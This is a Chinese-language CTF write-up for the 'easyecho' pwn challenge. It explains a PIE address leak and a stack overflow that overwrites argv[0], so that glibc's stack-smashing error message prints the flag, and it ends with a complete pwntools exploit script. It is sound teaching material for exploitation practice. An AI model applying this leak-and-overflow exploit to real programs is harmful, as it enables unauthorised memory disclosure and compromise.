鹤城杯easyecho—经典Stack Smash
一、查保护
二、代码审计
三、思路
全绿...通过栈溢出报错函数(函数如下)带出flag。
栈溢出报错函数
void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
__fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
/* The loop is added only to keep gcc happy. */
while (1)
__libc_message (2, "*** %s ***: %s terminated\n",
msg, __libc_argv[0] ?: "<unknown>");
}
四、过程
通过第一个输入泄露程序地址,计算出pie基址
已知pie_base+offset=real_addr
首先确定offset
用gdb调试得offset=real_addr-pie_base=0x55c698751cf0-0x55c698751000=0xcf0
如何可以计算出pie基址base=泄露地址-0xcf0
运行v9函数指针所指函数将flag存入0x202040
之后计算flag真实地址flag_addr=int(base)+0x202040
最后将该地址覆盖到argv[0]通过报错函数带出flag
五、脚本
from pwn import *
from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')
ru=lambda x:io.recvuntil(x)
rl=lambda :io.recvline()
sl=lambda x:io.sendline(x)
sla=lambda x,y:io.sendlineafter(x,y)
io = process('./easyecho')
#io = remote('139.9.123.168',32548)
elf=ELF('./easyecho')
sla('Name:','a'*16)
ru('a'*16)
base=u64(io.recv(6).ljust(8,'\x00'))-0xcf0
log.success('base:'+hex(base))
gdb.attach(io)
flag_addr=int(base)+0x202040
log.success("flag:"+hex(flag_addr))
sla('Input: ','backdoor')
argv0=0x7ffddc003588
v10=0x7ffddc003420
padding=(argv0-v10)*b'b'
sla("Input: ",padding+p64(flag_addr)+p64(flag_addr))
sla('Input: ','exitexit')
io.interactive()